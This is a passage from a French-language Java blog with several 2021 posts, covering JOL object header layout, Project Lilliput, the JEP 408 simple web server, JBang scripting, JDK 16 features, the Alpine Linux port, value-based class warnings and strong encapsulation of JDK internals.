    <groupId>org.openjdk.jol</groupId>
    <artifactId>jol-core</artifactId>
    <version>0.15</version>
</dependency>

Nous allons commencer par écrire une classe très simple sans attribut.

public class A {
    // pas d'attributs
}

Ensuite, nous écrivons du code pour instancier notre classe, puis pour visualiser l’usage mémoire avec JOL.

    final A a = new A();

    // Utilisation de JOL
    ClassLayout layout = ClassLayout.parseInstance(a);
    out.println(layout.toPrintable());

Nous obtenons le résultat suivant :

fr.lbenoit.package.demo.test.MaClasse$A object internals:
OFF  SZ   TYPE DESCRIPTION               VALUE
  0   8        (object header: mark)     0x0000000000000005 (biasable; age: 0)
  8   4        (object header: class)    0x08011b60
 12   4        (object alignment gap)
Instance size: 16 bytes
Space losses: 0 bytes internal + 4 bytes external = 4 bytes total

Pour l’en-tête contenant le pointeur de la classe (2e ligne), vous pourriez me dire que la taille est seulement de 4 octets et non de 8 octets. Oui et c’est normale, car j’utilise un JDK 11 et les pointeurs de classes sont compressés par défaut.

Néanmoins, avec les histoires d’alignement mémoire, la taille de l’instance reste à 16 octets.

Au niveau de la JVM, nous pouvons désactiver cette compression avec l’option -XX:-UseCompressedClassPointers, nous obtenons le résultat attendu :

org.openjdk.jol.samples.JOLSample_15_IdentityHashCode$A object internals:
OFF  SZ   TYPE DESCRIPTION               VALUE
  0   8        (object header: mark)     0x0000000000000005 (biasable; age: 0)
  8   8        (object header: class)    0x00007f2ee931c3b8
Instance size: 16 bytes
Space losses: 0 bytes internal + 0 bytes external = 0 bytes total

La taille est bien de 16 octets, soit 128 bits.

Maintenant, nous pouvons compléter notre classe avec deux attributs :

attribut bool de type boolean
attribut obj de type Objet

Nous obtenons le code suivant :

public class A {
    boolean bool;
    Object obj;
}

Après les en-têtes de l’instance, nous allons pouvoir visualiser les attributs de la classe. Voici le résultat en utilisant toujours l’outil JOL:

fr.lbenoit.package.demo.test.MaClasse$A object internals:
OFF  SZ               TYPE DESCRIPTION               VALUE
  0   8                    (object header: mark)     N/A
  8   4                    (object header: class)    N/A
 12   1            boolean A.bool                    N/A
 13   3                    (alignment/padding gap)
 16   4   java.lang.Object A.obj                     N/A
 20   4                    (object alignment gap)
Instance size: 24 bytes
Space losses: 3 bytes internal + 4 bytes external = 7 bytes total

En complément, pour les tableaux, nous avons la même représentation avec un champ supplémentaire avec la taille. Cela donne la représentation suivante :

+------------------+
| mark (Lock-word) |
+------------------+
| Class pointer    |
+------------------+
| Array-Length     |
+--------+---------+
| Elem 1 | Elem 2  |
+--------+---------+
| etc              |

Projet Lilliput

Donc, les objectifs sont les suivants :

réduire l’en-tête à 64 bits, voir potentiellement dans un second objectif 32 bits.
rendre l’en-tête des instances plus flexibles.

En reduisant la taille de l’entête d’une instance, cela diminuera la mémoire utilisée et la pression associée lors de forte allocation.

Donc, nous aurons les intérêts suivants :

Réduction de l’usage de tas (heap)
Taux d’allocation plus haut
Réduction de l’activité du ramasse-miette

Roman Kennke est leader du projet (auteur du tweet en début de billet). De plus, Rémi Forax fait parti du projet en tant que contributeur.

Références

JEP408 Un Simple Serveur Web en java

dim., 4 avr. 2021 00:00:00 +0200

Table of Contents

Contexte
Ligne de commande
Implémentation
API
Références

MAJ 2022-01 : La version finale de la JEP a été intégré dans le JDK 18. Des changements ont été apportées. Plus d’informations sur le billet consacré

Contexte

Nous allons nous projeter dans le futur en étudiant cette JEP, candidate pour le JDK 17. Le but est de mettre à disposition un petit serveur web qui renvoie simplement des pages statiques. Lors du développement web, il peut être intéressant d’avoir un serveur web pour

renvoyer des pages statiques (comme une page html chargeant des scripts javascript)
renvoyer des réponses JSON d’exemples pour tester la communication avec une autre API

Donc, l’idée est que le developpeur Java soit aussi pourvu que les développeurs d’autres langages.

Ligne de commande

Pour démarrer le serveur, il suffit de taper la commande suivante :

java -m jdk.httpserver

Nous obtenons le message suivant :

Serving /current/directory on http://127.0.0.1:8000/

Des options seront disponibles :

(-b) pour préciser l’interface réseau
(-p) pour préciser le numéro de port
(-h) pour afficher le message d’aide
(-o : none | default | verbose) pour afficher des informations lors de traitement des requêtes

En activant la journalisation, nous obtenons pour chaque requête le message équivalent :

127.0.0.1 - - [10/Feb/2021:14:34:11 +0000] "GET /some/subdirectory/" 200

Cela veut dire que ce n’est pas une commande supplémentaire. Nous utilisons tout simplement la JVM.

Implémentation

L’idée serait d’utiliser le module jdk.httpserver qui contient l’API public com.sun.net.httpserver.

Le serveur répondrait uniquement aux méthodes HEAD et GET (requêtes idempotentes).

API

Le principe serait d’avoir une classe SimpleFileServer ayant l’interface suivante :

package com.sun.net.httpserver;

public final class SimpleFileServer {
    public static HttpServer createFileServer(int port, Path root,
                                              OutputLevel outputLevel) {...}
    public static HttpHandler createFileHandler(Path root) {...}
    public static Filter createOutputFilter(OutputStream out,
                                            OutputLevel outputLevel) {...}
    ...
}

En utilisant la commande jshell, il suffirait d’écrire

jshell> var server = SimpleFileServer.createFileServer(8080,
   ...> Path.of("/some/path"), OutputLevel.VERBOSE);
jshell> server.start()

Cela est simple et efficace.

Pour autant, il serait possible d’étendre le comportement de base en créeant notre propre serveur en passant notre intance de HttpHandler

public static HttpServer create(InetSocketAddress addr,
                                int backlog,
                                String root,
                                HttpHandler handler,
                                Filter... filters) throws IOException {...}

Cette dernière pourrait être construite à partir de la classe suivante :

package com.sun.net.httpserver;

public class HttpHandlers {
    public static HttpHandler handleOrElse(Predicate<Request> handlerTest,
                                           HttpHandler handler,
                                           HttpHandler fallbackHandler)
        throws IOException {...}
    public static HttpHandler adaptRequest(HttpHandler handler,
                                           UnaryOperator<Request> operator)
    {...}
}

D’autres alternatives seront envisagées pendant la phase de prototypage.

Dans tous les cas, j’ai hâte de pouvoir jouer avec !

Références

JEP 408: Simple Web Server

JBang, Script en java

dim., 21 mars 2021 00:00:00 +0100

Table of Contents

Contexte
Installation
Premier lancement
Patron ("template")
Mise en pratique
Références

Contexte

Pour le besoin d’un projet, j’avais besoin d’extraire un certificat au format PEM à partir d’un ensemble de clés JWKS (JSON Web Key Sets). Je savais que je pouvais le faire très facilement en Java. Cependant, créer un projet Java jetable n’est pas très motivant pour simplement quelques lignes de code. D’où l’idée d’écrire un script pour cela.

En effet, depuis le JDK 11, il est possible de réaliser un script en Java (JEP 330: Launch Single-File Source-Code Programs). Malheureusement, cela est limité aux classes fournies par le JDK.

Depuis quelques temps, j’entends parler de jbang. Il permettrait de lever cette contrainte. C’est l’occasion de le mettre à l’épreuve.

Installation

La procédure d’installation est très simple sur la page téléchargement du site du projet. La page décrit les opérations selon les différents systèmes d’exploitation.

Pour ma part, n’ayant pas de package Debian, j’ai choisi la solution manuelle en m’assurant que le programme soit accessible via la variable $PATH.

Bien que je possède plusieurs versions de JVM, il est intéressant de savoir que l’installation du JDK au préalable n’est pas nécessaire.

Premier lancement

L’outil me propose d’initialiser le script comme il faut avec l’option init. Laissons-nous guider pour commencer.

jbang init Hello.java

Un fichier Hello.java est généré. C’est l’occasion de voir son anatomie.

///usr/bin/env jbang "$0" "$@" ; exit $?
// //DEPS <dependency1> <dependency2>

import static java.lang.System.*;

public class Hello {

    public static void main(String... args) {
        out.println("Hello World");
    }
}

La première ligne est le fameux shebang. C’est l’information qui permet de savoir quelle programme doit être exécuté.

L’usage du style // au lieu du classique #! est une astuce (bash, zsh, etc…) qui permet l’exécution comme un script tout en ayant un code Java valide.

Sur la deuxième ligne, nous aurons l’occasion de revenir dessus.

Le reste, c’est du code Java classique. Une classe Hello ayant une méthode main.

Passons à l’exécution, il suffit de taper la commande suivante :

jbang  Hello.java

Nous obtenons l’affichage suivant :

[jbang] Building jar...
Hello World

Grâce au Shebang, nous pouvons aussi appeler directement le script

./Hello.java

Si besoin, il faut donner les droits d’exécution avec la commande suivante : chmod u+x Hello.java.

Nous obtenons l’affichage suivant :

Hello World

Le script n’a pas été modifié. Donc, il n’a pas été nécessaire de reconstruire l’archive.

Patron ("template")

Il est possible d’utiliser des patrons. Un certain nombre existe déjà comme la possibilité d’avoir ce qui faut pour écrire un outil en ligne de commande.

jbang init --template=cli Cli.java

ou en utilisant les options courtes :

jbang init -t cli Cli.java

De là, nous pouvons exécuter directement le script

./Cli.sh
[jbang] Building jar...
Hello World!

Cela n’a rien d’étonnant par rapport à tout à l’heure. Sauf que comme tout outil en ligne de commande qui se respecte, nous avons une aide à notre disposition sans effort de notre part.

./Cli.java --help
Usage: Cli [-hV] <greeting>
Cli made with jbang
      <greeting>   The greeting to print
  -h, --help       Show this help message and exit.
  -V, --version    Print version information and exit.

Je vois que j’ai un argument qui permet de préciser la salutation. De ce pas, j’exécute la commande suivante :

./Cli.java Lilian
Hello Lilian

Passons au code,

///usr/bin/env jbang "$0" "$@" ; exit $?
//DEPS info.picocli:picocli:4.5.0

import picocli.CommandLine;
import picocli.CommandLine.Command;
import picocli.CommandLine.Parameters;

import java.util.concurrent.Callable;

@Command(name = "Cli", mixinStandardHelpOptions = true, version = "Cli 0.1",
        description = "Cli made with jbang")
class Cli implements Callable<Integer> {

    @Parameters(index = "0", description = "The greeting to print", defaultValue = "World!")
    private String greeting;

    public static void main(String... args) {
        int exitCode = new CommandLine(new Cli()).execute(args);
        System.exit(exitCode);
    }

    @Override
    public Integer call() throws Exception { // your business logic goes here...
        System.out.println("Hello " + greeting);
        return 0;
    }
}

Nous voyons au niveau du code, que c’est la librairie picocli qui est utilisée afin de simplifier les gestions des arguments.

Mais le plus intéressant, c’est la seconde ligne.

//DEPS info.picocli:picocli:4.5.0

Par cette ligne, nous exprimons le fait que le script a besoin de la librairie picocli. Nous retrouvons le schéma classique groupId:artifactId:version.

Mise en pratique

J’initialise mon script

jbang init -t cli GetKey.java

Je précise la librairie que je souhaite utiliser, en l’occurrence jose4j

//DEPS org.bitbucket.b_c:jose4j:0.7.6

Je suis un aficionados de vi. Mais effectivement, cela n’est pas top pour le développement Java par rapport à un IDE.(Gestion des imports, autocomplétion, validation syntaxique, etc..)

Là encore, jbang vient à notre rescousse en proposant un mode édition.

jbang edit --open=vscode GetKey.java

Votre IDE s’ouvre :

Je précise mon paramètre de ligne de commande :

@Parameters(index = "0", description = "URL vers JSON Web Key Sets (JWKS)")
private String url;

J’écris le code pour récupérer le certificat et l’afficher au format PEM

@Override
public Integer call() throws Exception {
    HttpsJwks jwks = new HttpsJwks(url);
    List<JsonWebKey> liste = jwks.getJsonWebKeys();
    for (JsonWebKey jsonWebKey : liste) {
        String cert = RsaKeyUtil.pemEncode(jsonWebKey.getPublicKey());
        System.out.println(cert);
    }
    return 0;
}

il me reste plus qu’à l’éxecuter

./GetKey https://MON.SITE/auth/realms/OMS-Intra/protocol/openid-connect/certs
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqlWybNYyj0hxoE8AcpGT
...
...
oU1MWOIhL/9ex7UB+6C3Uj2Mg3uoHQZB2PaeHHTb0fm957ufzWHGUyFd0q3UjUTQ
2N7mvALKLPsakuppHzRMeXHt7Zhu8kUfhPhQDUYc+l5bB1HhUqvZ9rjVTDRP7R+T
uQIDAQAB
-----END PUBLIC KEY-----

Et voilà, le tour est joué. A votre tour !

Références

JDK 16 Nouveautés

dim., 14 mars 2021 00:00:00 +0100

Contexte

La version 16 du JDK va être disponible cette semaine. Nous avons eu l’occasion de voir à travers différents billets un grand nombre de ces fonctionnalités. C’est l’occasion de faire une synthèse sur l’ensemble des nouveautés.

La prochaine version sera la future version LTS (Long Term Support) avec la sortie du JDK 17 en septembre 2021

Nouvelles fonctionnalités

394 - Pattern Matching for instanceof

L’objectif est de pouvoir écrire le code suivant :

if (obj instanceof String s) {
    // utilisation de s en tant que chaine de caractere
    ... s.contains(..);
} else {
    // pas possible d'utiliser la variable s
}

Dans le premier bloc (if), nous pouvons utiliser directement la variable s comme une chaîne de caractère. D’un autre côté, dans le second bloc (else), la variable s n’est pas connue.

Son utilisation est aussi possible dans l’évaluation des conditions. Cela donne une écriture élégante :

if (obj instanceof String s && s.length() > 5) {.. s.contains(..) ..}

Plus d’informations sur le chapitre Pattern Matching for instanceof du billet du JDK15.

395 - Records

Avec les enregistrements ("records"), nous pouvons écrire simplement :

record Point(int x, int y) { }

Vous voyez l’introduction d’un nouveau mot clé : record.

De ce fait, nous avons automatiquement :

un accesseur public pour chaque composant
un attribut final privé pour chaque composant
un constructeur contenant chaque composant
une méthode equals()
une méthode hashcode()
une méthode toString() pour visualiser les valeurs de chaque composant.

Des contrôles peuvent être faites lors de la construction:

record Range(int lo, int hi) {
    Range {
        if (lo > hi)  // référence implicite aux paramètres du constructeur
            throw new IllegalArgumentException(String.format("(%d,%d)", lo, hi));
    }
}

Plus d’informations sur le chapitre Records du billet du JDK15.

396 - Stringly Encapsulate JDK Internals by Defaut

Lors de la mise en place de la modularité du JDK pendant le JDK 9, il a été prévu de contrôler les accès aux API internes. L’objectif est qu’un programme Java ne puisse pas y avoir accès. De ce fait, le JDK devient plus facile à maintenir et à le faire évoluer. Bien que cela soit déconseillé par Sun à l’époque, les pratiques ont fait que les programmes et notamment certaines librairies en avaient besoin.

En parallèle, un effort a été fait pour fournir des nouvelles API pour éviter l’usage de ces API internes.

Pour contrôler l’accès à cette API, il existe une option de la JVM depuis le JDK 9.

--illegal-access=permit autorise les accès illégaux en affichant un avertissement lors du premier accès illégal du package.
--illegal-access=warn identique à permit mais l’avertissement apparait à chaque appel.
--illegal-access=debug identique à warn mais l’avertissement est accompagné d’une pile d’appel.
--illegal-access=deny interdit tous les accès illégaux.

Du JDK 9 à 15, le mode par défaut est permit.

La nouveauté est qu’à partir du JDK 16, le mode par défaut est deny.

L’option est toujours disponible.

Donc, si besoin, nous pouvons autoriser l’accès illégaux avec le mode permit. Mais cela consiste à mieux reculer pour se prendre le mur.

Plus d’informations sur le sur le billet dédié.

388 - Unix-Domain Socket Channels

L’objectif est de pouvoir utiliser des sockets Unix. Pour cela, nous avons une nouvelle famille de protocole StandardProtocolFamily.UNIX et nous avons une classe qui représente l’adresse correspondante UnixDomainSocketAddress. Nous la créons à partir d’un simple fichier.

Côté serveur, nous avons le code suivant :

ServerSocketChannel ssc = ServerSocketChannel.open(StandardProtocolFamily.UNIX);
ssc.bind(UnixDomainSocketAddress.of("/tmp/mon-sock"));
while ( true ) {
  SocketChannel sc = ssc.accept();
  // Utilisation du SocketChannel sc
  ...
}

Coté client, nous avons le code suivant :

SocketChannel sc = SocketChannel.open(StandardProtocolFamily.UNIX);
sc.connect(UnixDomainSocketAddress.of("/tmp/mon-sock"));
// Utilisation du SocketChannel sc
...

Seul, l’API ByteBuffer est disponible.

Plus d’informations sur le sur le billet dédié.

390 - Warnings for Value-Based Classes

L’objectif est de préparer l’introduction des "Value based classes" au sein du JDK. Ces classes ont les propriétés suivantes :

sont des classes finales et immutables,
possèdent les méthodes : equals(), hascode() et toString(),
l’égalité en utilisant la méthode equals() et non l’opération d’égalité (==),
n’ont pas de constructeurs mais une méthode fabrique "factory method" qui n’apporte aucun garantie sur l’identité.

L’objectif est de mieux gérer les "inlines types", notamment avec les types primitifs. Cela devrait permettre d’augmenter les performances.

Des candidats ont été identifiés. Nous avons par exemple :

les classes "wrapper" des types primitives : java.lang (Byte, Short, Integer, Long, Float, Double, Boolean et Character)
les classes optionnelles : java.util (Optional, OptionalInt, OptionalLong et OptionalDouble)
certaines classes de l’API java.time (Instant, LocalDate, LocalTime, LocalDateTime, ZonedDateTime, ZoneId, OffsetTime, OffsetDateTime, ZoneOffset, Duration, Period, Year, YearMonth et MonthDay)

Plus d’informations sur le sur le billet dédié.

Nouvelles fonctionnalités (Côté portage)

386 - Alpine Linux Port

Cela consiste plus exactement à réaliser un JDK pour les systèmes utilisant muslc comme librairie C.

Plus d’informations sur le sur le billet dédié.

388 - Windows/AArch64 Port

AArch64 correspond aux processeurs basés sur l’architecture ARM 64bits.

Plus d’informations sur le sur le billet dédié.

Fonctionnalités en mode Aperçu

397 - Sealed Classes (Second Preview)

Actuellement, pour le contrôle de l’héritage, nous avons uniquement le mot clé final. Les classes scellés est un moyen pour le développeur d’avoir plus de contrôle. Pour cela, nous avons deux nouveaux mot clés sealed et non-sealed. Nous avons trois mot clés :

final : permet de bloquer l’héritage. Il ne peut pas avoir des classes dérivées.
sealed : permet d’avoir des classes dérivées à condition qu’elles fassent partir des classes autorisées pour cela il y a le mot clé permits à utiliser.
non-sealed : permet de ne pas limiter les classes dérivées.

Par exemple, nous avons :

package com.exemple.geometrie;

public abstract sealed class Forme
    permits Cercle, Rectangle, Carre {
	...
}

Fonctionnalités en mode Incubation

333 - Vector API (Incubator)

Certains processeurs incluent des intructions pour les calculs vectoriels. Le but est de fournir une API Java afin de réaliser ce type de calcul. Ainsi, à l’exécution, la JVM peut réaliser des optimisations en fonction du matériel présent.

Les objectifs sont :

Clair et concis : L’API doit permet de préciser des grands calculs vectoriels.
Indépendant du matériel : Ne pas être spécifique à un matériel donné.
Fonctionne sous x64 et AArch64
Dégradation possible : Si le matériel ne prend pas en charge ce type de calcul, la JVM prendra le relais pour la réalisation des opérations.

389 - Foreign Linker API (Incubator)

Le but est de fournir une API Java pour accèder directement à une librairie native.

Les objectifs sont les suivants :

Facile à utiliser : Etre plus facile que JNI (Java Native Interface)
Support C : Assurer la compatibilité avec les librairies C sur x64 et AArch64
Généralité : Flexible pour supporter d’autres plateformes comme 32-bit x86 ou d’autres langages (C++, Fortan)
Performance : Comparable à JNI, voire meilleur.

Voici un exemple d’appel de la méthode strlen

// Recherche de la méthode stren
MethodHandle strlen = CLinker.getInstance().downcallHandle(
        LibraryLookup.ofDefault().lookup("strlen"),
        MethodType.methodType(long.class, MemoryAddress.class),
        FunctionDescriptor.of(C_LONG, C_POINTER)
    );

// Appel de la méthode strlen
try (MemorySegment str = CLinker.toCString("Hello")) {
   long len = strlen.invokeExact(str.address()); // 5
}

Cette fonctionnalité s’appuie sur la fonctionnalité suivante pour l’allocation mémoire.

393 - Foreign Memory API (Third Incubator)

L’objectif de cette API est de fournir un moyen afin qu’un programme Java puisse allouer de la mémoire externe, en dehors du tas ("heap").

Cette troisième version permet le raffinement suivant :

Séparation clair entre les interfaces MemorySegment et MemoryAddress
Nouvelle classe MemoryAccess qui fournit un ensemble de méthodes statiques pout les usages commun
Support de la mémoire partagée
Capacité d’enregistrer des segments avec des nettoyeurs

Voici un exemple de code :

try (MemorySegment segment = MemorySegment.allocateNative(10 * 4)) {
    for (int i = 0 ; i < 10 ; i++) {
       MemoryAccess.setIntAtIndex(segment, i);
    }
}

Plus d’informations sur le Foreign Memory Access API du billet du JDK15.

Fonctionnalité sour le capot

347 - Enable C++14 Language Features

Cela concerne les contributeurs du JDK.

Cela reste quand même intéressant de se rappeler qu’une partie du JDK est développée en Cplusplus.

Jusqu’à présent, les contributeurs étaient limités à Cplusplus 98/03. Cette JEP permet d’autoriser les fonctionnalités du standard Cplusplus 14. Il fournit aussi les règles d’utilisation pour HotSpot.

Cela permet aussi de pouvoir utiliser des compilateurs récents.

376 - ZGC:Concurrent Thread-Stack Processing

L’objectif est de déplacer l’opération "thread-stack processing" du point de restauration à une phase concurrente.

Cela devrait améliorer les performances car le temps pour réaliser le point de restauration sera très court (< 1 ms).

387 - Elastic Metaspace

Depuis le JDK 8, la mémoire permanente a été supprimée (Rappelez vous des anciennes options : PermSize et MaxPermSize). (cf JEP 122 - Remove the Permanent Generation). Cela a été remplacé par un nouveau espace : le Metaspace.

Dans la plupart des cas, cela fonctionne très bien. Cependant, des cas existent où la mémoire non utilisée est gaspillée de façon excessive.

L’objectif est de réduire l’empreinte mémoire du Metaspace, simplifier de code et de pouvoir libérer la mémoire non utilisée.

Outilllage

357 - Migrate from Mercurial to Git

L’objectif est l’abandon de Mercurial pour passer à Git comme gestionnaire de sources.

Bien que cela concerne les contributeurs du JDK, cela permet à chaque développeur de rentrer plus facilement dans le code du JDK et de comprendre les évolutions.

Plus d’informations sur le sur le billet dédié.

369 - Migrate to Github

Suite au choix de Git, l’objectif est de réaliser la migration vers un fournisseur. C’est Github qui a été retenu.

Cependant un travail a été fait pour rester générique avec une url neutre https://git.openjdk.java.net/jdk

Plus d’informations sur le sur le billet dédié.

392 - Packaging Tool

L’objectif est de fournir un moyen d’installation des applications Java. A l’instar des anciennes fonctionnalités comme Java Web Start (supprimée en JDK 11) et pack200 (supprimée en JDK 14), l’idée est de s’appuyer sur la création de packages natifs.

Linux : deb et rpm
macOS : pkg et dmg
Windos : msi et exe

Il est à noter qu’il n’y a pas d’interface graphique pour l’outil. C’est exclusivement en ligne de commande.

Cas d’usage pour une application non modulaire

jpackage --name myapp --input lib --main-jar main.jar

Cas d’usage pour une application modulaire

jpackage --name myapp --module-path lib -m myapp

L’outil n’est pas cross-platforme. C’est à dire que pour réaliser un programme d’installation pour Windows, l’outil jpackage doit être exécuté sous Windows. Et cela, pour l’ensemble de plate-formes.

JEP386 Alpine Linux Port

dim., 7 mars 2021 00:00:00 +0100

Table of Contents

Contexte
Projet Portola
Pourquoi musl ?
- Déploiement cloud
- Le monde de l’embarqué
Références

Contexte

Le JDK sous Linux est basé sur la librairie glibc pour son fonctionnement. C’est la librairie C standard qui est utilisée sur les principales distributions Linux. Mais il existe d’autres implémentations comme la librairie musl.

Projet Portola

L’objectif du projet Portola est de porter le JDK sous les systèmes Linux fonctionnant avec la librairie C musl. Ce projet a démarré en Avril 2017. La JEP 386: Alpine Linux Port concerne l’intégration de cette implémentation dans le dépôt principal du JDK. En effet, le projet avait jusqu’à présent son propre dépôt de sources. C’est donc la conclusion de 4 ans de travail. Les anciens dépôts Mercurial montre bien l’effort sur la réalisation des prototypes sur les différentes versions du JDK (soit le JDK 9 pour le premier prototype)

Pourquoi musl ?

musl est une implémentation de la librairie standard C, construite sur l’API d’appel système Linux. Musl est léger, rapide et simple. Nous avons deux cas d’usages :

Déploiement cloud
Le monde de l’embarqué

Déploiement cloud

Dans le monde du cloud, nous retrouvons souvent des images sur Alpine. C’est un système construit autour de BusyBox et de la librairie musl. L’objectif est d’avoir un besoin de ressource minimal et être plus efficient que les distributions classiques. Cela est primordiale quand nous savons que nous payons les ressources utilisées dans le cloud.

Dans ce sens, une image Alpine Linux 3.11 prend moins de 6MB. Donc si nous prenons une image + environnement d’exécution Java nécessitant que le module java.base (utilisation de jlink), nous obtenons une image de 38MB seulement.

L’intérêt de la modularité du JDK est de réduire la taille de ce dernier en ayant un environnement d’exécution spécifique à ce que l’on a besoin.

Le monde de l’embarqué

Un autre domaine où la réduction des ressources nécessaire est le monde de l’embarqué. En effet, cela correspond à des environnements contraints au niveau des ressources. Dans ce sens, il existe notamment le système OpenWrt qui est construit à partir de la librairie C musl.

La page du projet OpenWrt affiche 1707 périphériques supportés. Cela devient des nouvelles cibles d’exécution.

Références

JEP 390 Warnings for Value Based Classes

dim., 28 févr. 2021 00:00:00 +0100

Table of Contents

Contexte
Value-based classes
Warnings for Value Based Classes
Références

Contexte

Avant de parler de ces nouveaux avertissements, présentons le projet Projet Valhalla.

Ce projet travaille notamment sur deux fonctionnalités :

"inline type"
Generic over Primitive Types.

Le travail concerne l’amélioration de la prise en compte des types primitifs afin de réaliser des optimisations.

Dans le monde Java, tout est objet. Chaque type primitif correspond une classe "wrapper", comme java.lang.Integer, java.lang.Double pour respectivement les types int, double. La gestion des ensembles Set ou des listes List est un cas d’usage. En effet, nous ne pouvons pas écrire la définition suivante : Set<int>.

Un autre cas d’usage est l’utilisation de ces classes dans les entités JPA qui permet de traiter la valeur nulle d’une colonne. En effet, en utilisant le type primitif, la colonne devient obligatoire.

Cependant, cela a un coût en mémoire et un coût en temps d’accès. Pour accèder à la valeur, il faut passer par référence qui demande un accès mémoire. Par exemple, un tableau d’entier int[] prend moins de places qu’un Set<Integer>. Sans compter que côté matériel, l’accès d’un tableau est plus efficace qu’un parcours d’un ensemble dont il est nécessaire d’accèder à la valeur par référence. En effet, cela nécessite un accès mémoire donc les caches et les pipelines des processeurs ne sont pas mis à profit.

De plus, le fait qu’ils soient des instances de classes, ils portent une identité qui n’a pas de sens pour les types primitives.

Value-based classes

Les "Value based classes" sont des classes qui ont les propriétés suivantes :

sont des classes finales et immutables,
possèdent les méthodes : equals(), hascode() et toString(),
l’égalité en utilisant la méthode equals() et non l’opération d’égalité (==),
n’ont pas de constructeurs mais une méthode fabrique "factory method" qui n’apporte aucun garantie sur l’identité.

L’impact est assez important. Donc, la transition se fait par étape. s

La première a été de désigner les classes candidates. Nous avons par exemple :

les classes "wrapper" des types primitives : java.lang (Byte, Short, Integer, Long, Float, Double, Boolean et Character)
les classes optionnelles : java.util (Optional, OptionalInt, OptionalLong et OptionalDouble)
certaines classes de l’API java.time (Instant, LocalDate, LocalTime, LocalDateTime, ZonedDateTime, ZoneId, OffsetTime, OffsetDateTime, ZoneOffset, Duration, Period, Year, YearMonth et MonthDay)

La seconde étape a été de déprécier les contructeurs des classes "wrapper" dans le JDK 9.

Les classes optionnelles`java.util` et les les classes de l’API java.time ne possèdent pas de constructeurs. Ils utilisent le principe des méthodes de fabriques.

ZonedDateTime maintenant = ZonedDateTime.now();
OptionalInt option = OptionalInt.of(15);

Warnings for Value Based Classes

L’objectif de la troisième étape est de décourager les mauvaises utilisations de ces classes en ajoutant des avertisssements à la compilation et à l’exécution.

Dans le JDK 16, les constructions des classes "wrapper" sont dépréciés pour suppression.

warning: [removal] Double(double) in Double has been deprecated and marked for removal
        d = new Double(20.0);
                ^

Pour rappel, nous avons deux posssibilités

Double d = Double.valueOf(10.0); // factory method
Double d = 10.0;		 // tout simplement :)

Une contrainte supplémentaire est qu’il ne sera plus possible d’utiliser ces classes pour les blocs synchronized. C’est pourquoi, l’objectif est d’ajouter un avertissement pour déconseiller cet usage.

Double d = 10.0;
synchronized (d) {
	System.out.println("Section synchronized (d)");
}

Lors de la compilation, nous obtenons le message suivant :

warning: [synchronization] attempt to synchronize on an instance of a value-based class
        synchronized (d)
        ^

Cependant, en fonction du code, cela ne peut pas être détecter lors de la compilation.

Double d = 10.0;
Object o = d;
synchronized (o) {
	System.out.println("Section synchronized (o)");
}

En effet, la définition d’un bloc synchronized avec la classe Object reste naturellement autorisée. Donc le compilateur n’affiche pas d’avertissement.

C’est pourquoi, des avertissements à l’exécution ont aussi été implémentés. Par contre, ces avertissements ne sont pas activés par défaut. Il faut ajouter l’option suivante sur la ligne :

-XX:DiagnoseSyncOnValueBasedClasses=1 Cela est plus qu`un avertissement puisque la JVM s’arrête avec une erreur fatale.
-XX:DiagnoseSyncOnValueBasedClasses=2 Celui-ci est un avertissement sur la console ou via les événements JDK Flight Recorder.

[0,046s][info][valuebasedclasses] Synchronizing on object 0x000000071721b3b0 of klass java.lang.Double
[0,046s][info][valuebasedclasses] 	at fr.lbenoit.billets.codes_sources.Programme.main(Programme.java:16)
[0,047s][info][valuebasedclasses] 	- locked <0x000000071721b3b0> (a java.lang.Double)
Section synchronized (d)
[0,047s][info][valuebasedclasses] Synchronizing on object 0x000000071721b3b0 of klass java.lang.Double
[0,047s][info][valuebasedclasses] 	at fr.lbenoit.billets.codes_sources.Programme.main(Programme.java:22)
[0,047s][info][valuebasedclasses] 	- locked <0x000000071721b3b0> (a java.lang.Double)
Section synchronized (o)

Il est à noter que pour utiliser ces options, il faut activer les diagnostics VM avec l’option -XX:+UnlockDiagnosticVMOptions

C’est l’occasion de se préparer au futur de Java.

Références

JEP 396 Strongly Encapsulate JDK Internals by Default

dim., 21 févr. 2021 00:00:00 +0100

Table of Contents

Contexte
Description
Qualité et communauté
Conclusion
Références

Contexte

Retour en septembre 2017, le JDK 9 vient de sortie avec la mise en place du système de modules provenant du Projet Jigsaw. Cela a aussi été l’occassion d’introduire la fonctionnalité JEP 260: Encapsulate Most Internal APIs pour l’encapsulation des APIs internes.

La communauté s’inquiète vis à vis de l’accès de ces API, soit vis à vis de la mise en oeuvre d’alternative ou l’absence d’alternative. Cela avait fait couler beaucoup d’encre à l’époque.

Cela a été aussi un frein à l’adoption du JDK 9 en pensant que beaucoup de librairies allaient être cassées. Dans cette logique, beaucoup de projets sont restés au JDK 8.

Pourtant, suite aux retours de la communauté, la JEP introduit une nouvelle option afin de configurer l’accès ou non à ces API. La valeur par défaut est de les autoriser comme en JDK 8. Ce qui va faciliter la transition.

De même aujourd’hui, beaucoup de développeur Java pense qu’il faut faire des modules dès que nous travaillons avec un JDK 9+. Cela n’est absolument pas obligatoire.

Description

L’objectif de ce renforcement est d’améliorer le sécurité et la maintenance du JDK. En effet, si les développeurs n’ont pas accès aux classes internes du JDK (même via la réflexion), cela permettrait de faciliter le travail sur les prochaines évolutions du JDK.

Le but est de cette JEP est de passer une étape supplémentaire, en encourageant les développeurs à migrer des API internes du JDK aux API stantard. Le but n’est pas de supprimer, ni de modifier les API internes critiques qui n’ont pas de remplacement standard au niveau de l’API.

Cela implique que la fameux classe sun.misc.Unsafe reste disponible

Cela concerne quoi ?

Les classes, méthodes, attributs concernées sont :

Les classes non publiques, les méthodes non publiques et les attributs non public des packages java.*
Tous les classes, les méthodes et les attributs des packages sun., com.sun. et jdk.*.

Dés le début, Sun alertait qu’il ne fallait pas utiliser ces classes FAQ de Sun

Illustration

Pour illustrer le sujet, nous allons faire un programme qui veut accèder à un attribut protégé du JDK.

var ks = java.security.KeyStore.getInstance("jceks");
var f = ks.getClass().getDeclaredField("keyStoreSpi");
f.setAccessible(true);

System.out.println(f.get(ks)); // l'attribut est maintenant accessible

Le programme fonctionne très bien en JDK 8.

Le programme fonctionne aussi très bien avec un JDK 9+. Cependant, un message d’avertissement apparait lors du premier accès illégal aux packages.

WARNING: An illegal reflective access operation has occurred
